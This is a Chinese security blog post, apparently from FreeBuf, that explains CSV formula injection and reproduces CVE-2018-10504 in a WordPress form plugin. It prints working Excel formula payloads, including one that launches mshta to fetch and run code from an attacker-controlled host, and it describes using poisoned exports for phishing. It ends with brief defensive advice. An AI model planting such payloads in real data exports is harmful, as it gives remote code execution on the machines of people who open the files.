专栏首页FreeBuf浅谈CSV注入漏洞

浅谈CSV注入漏洞

背景

某天在逛expdb时候看到了CSV Injection的exp,在渗透测试的过程中也偶尔会遇到类似的情况,这一漏洞很早之前就出现过,但是很多人没有意识到漏洞的危害性,于是抱着学习的心态进行了一波漏洞复现和学习。

漏洞介绍

CSV公式注入(CSV Injection)是一种会造成巨大影响的攻击向量。攻击包含向恶意的EXCEL公式中注入可以输出或以CSV文件读取的参数。当在Excel中打开CSV文件时,文件会从CSV描述转变为原始的Excel格式,包括Excel提供的所有动态功能。在这个过程中,CSV中的所有Excel公式都会执行。当该函数有合法意图时,很易被滥用并允许恶意代码执行。

漏洞原理

人们通常认为CSV或xls文件中包含的文本不会有任何安全风险,这是比较大的一个误区。首先我们创建一个Excel文件,将其中一格内容修改为=36+1

保存之后看到如下结果,公式正常计算:

虽然单元格的内容在引号内,但由于第一个字符是=,它以一个表达式的形式被处理,实际上包括 = - + @这样的符号都会触发这种行为,正常来说,如果数据量比较大的情况下,管理员一般不会花那么多时间去一个个检查输入内容是否正常。(emmm正常人可能都不会这么干)

由于表达式就是可以执行的代码,所以假如我们把输入内容修改为:

=1+cmd|' /C calc'!A0

之后点击保存,然后再次打开,会看到如下提示:

点击 之后,弹出计算器:

漏洞危害

这类漏洞通常不会针对于专业的网络安全人员,毕竟是个搞安全的都知道cmd不要随便启用,但是对于大部分人来说,尤其是正常的企业员工,往往会忽视问题的严重性,可能随手就点了个,因此这类漏洞一种利用方式可以用于钓鱼,另一种也和钓鱼类似,需要网站后台存在导出excel功能,攻击者通过污染数据,当管理员或者其他用户需要用到导出excel功能时,被污染的数据被一起导出,当打开该文件时并且忽略告警提示点了,一起完美的攻击就完成了。

漏洞复现

漏洞复现采用了CVE-2018-10504,也就是wordpress的Form Maker 插件的csv注入漏洞。PoC可参考:

https://www.exploit-db.com/exploits/44559

首先下载安装该插件:

安装后在功能栏就能看到:

我们这边用有两个用户adminsunshine:

登录sunshine用户,使用Form Maker提交如下信息:

+1+cmd|'/c mshta.exehttp://192.168.233.102:8080/a'!A0

后台可以看到数据已经被污染了:

admin用户登录,打开Form MakerSubmissionsContact USExport to CSV

打开会有这样的安全提示:

默认启用和点击之后就能看到机器上线了:

漏洞防护

对于网站来说,比较合理的防御方式是对输入输出特殊字符进行编码;对于平时常规文件的传递中,只能尽量为员工做好相关的安全意识培训来做相关的防范。

*本文原创作者:3unshine,本文属FreeBuf原创奖励计划,未经许可禁止转载

本文分享自微信公众号 - FreeBuf(freebuf)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-02-17

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Ripple20 0day漏洞曝光,扫荡全球各行业数亿台联网设备

    以色列网络安全公司JSOF周二警告说,由于严重安全漏洞影响了Treck TCP/IP堆栈,全球数亿台(甚至更多)IoT设备可能会受到远程攻击。这一漏洞影响各行各...

    FB客服
  • 【漏洞预警】IIS 6.0曝远程代码执行漏洞CVE-2017-7269

    ? 漏洞描述 微软方面也已经确认了该漏洞:Windows Server 2003R2版本IIS6.0的WebDAV服务中的ScStoragePathFro...

    FB客服
  • 2014年漏洞最多的操作系统:苹果Mac OS X、iOS和Linux

    微信号:freebuf 无论是Mac OS X还是iPhone iOS,苹果系统一直被认为是最安全的操作系统。然而在2014年,苹果系统却获得了漏洞最多的“殊荣...

    FB客服
  • Ripple20 0day漏洞曝光,扫荡全球各行业数亿台联网设备

    以色列网络安全公司JSOF周二警告说,由于严重安全漏洞影响了Treck TCP/IP堆栈,全球数亿台(甚至更多)IoT设备可能会受到远程攻击。这一漏洞影响各行各...

    FB客服
  • 为服务器添加秘钥进行登录

    首先在根目录下创建一个隐藏文件mkdir .ssh/,然后设置权限chmod 700 .ssh/

    Dreamy.TZK
  • 深度解析ug1292(3)

    通常,我们优先解决建立时间违例。Setup slack与逻辑延迟、布线延迟、时钟歪斜和时钟不确定性有关。因此,首先要明确这几个因素中哪个因素对建立时间违例起关键...

    Lauren的FPGA
  • 博览安全圈:360曝Office漏洞 微软及时回应

    【IT168 资讯】为了响应国家号召,加强全民网络安全意识,我们会经常性的为大家奉上最具代表性的安全事件。 1、360曝光Office高危漏洞 微软及时发布安全...

    企鹅号小编
  • 漏洞评估指南 {Vulnerability Assessment}

    漏洞评估的四步指南 这是一个建议的四步法,使用任何自动或手动工具启动有效的漏洞评估流程。

    周俊辉
  • Web风险评估:腾讯云Web漏洞扫描

    Web 漏洞扫描是用于监测网站漏洞的安全服务,为企业提供 7*24 小时准确、全面的漏洞监测服务,并为企业提供专业的修复建议, 从而避免漏洞被黑客利用,影响网站...

    腾讯云基础安全
  • 【修订完善版】面试又被 JVM 内存区域虐了?推荐你看看这篇文章!

    对于 Java 程序员来说,在虚拟机自动内存管理机制下,不再需要像 C/C++程序开发程序员这样为每一个 new 操作去写对应的 delete/free 操作,...

    Guide哥

扫码关注云+社区

领取腾讯云代金券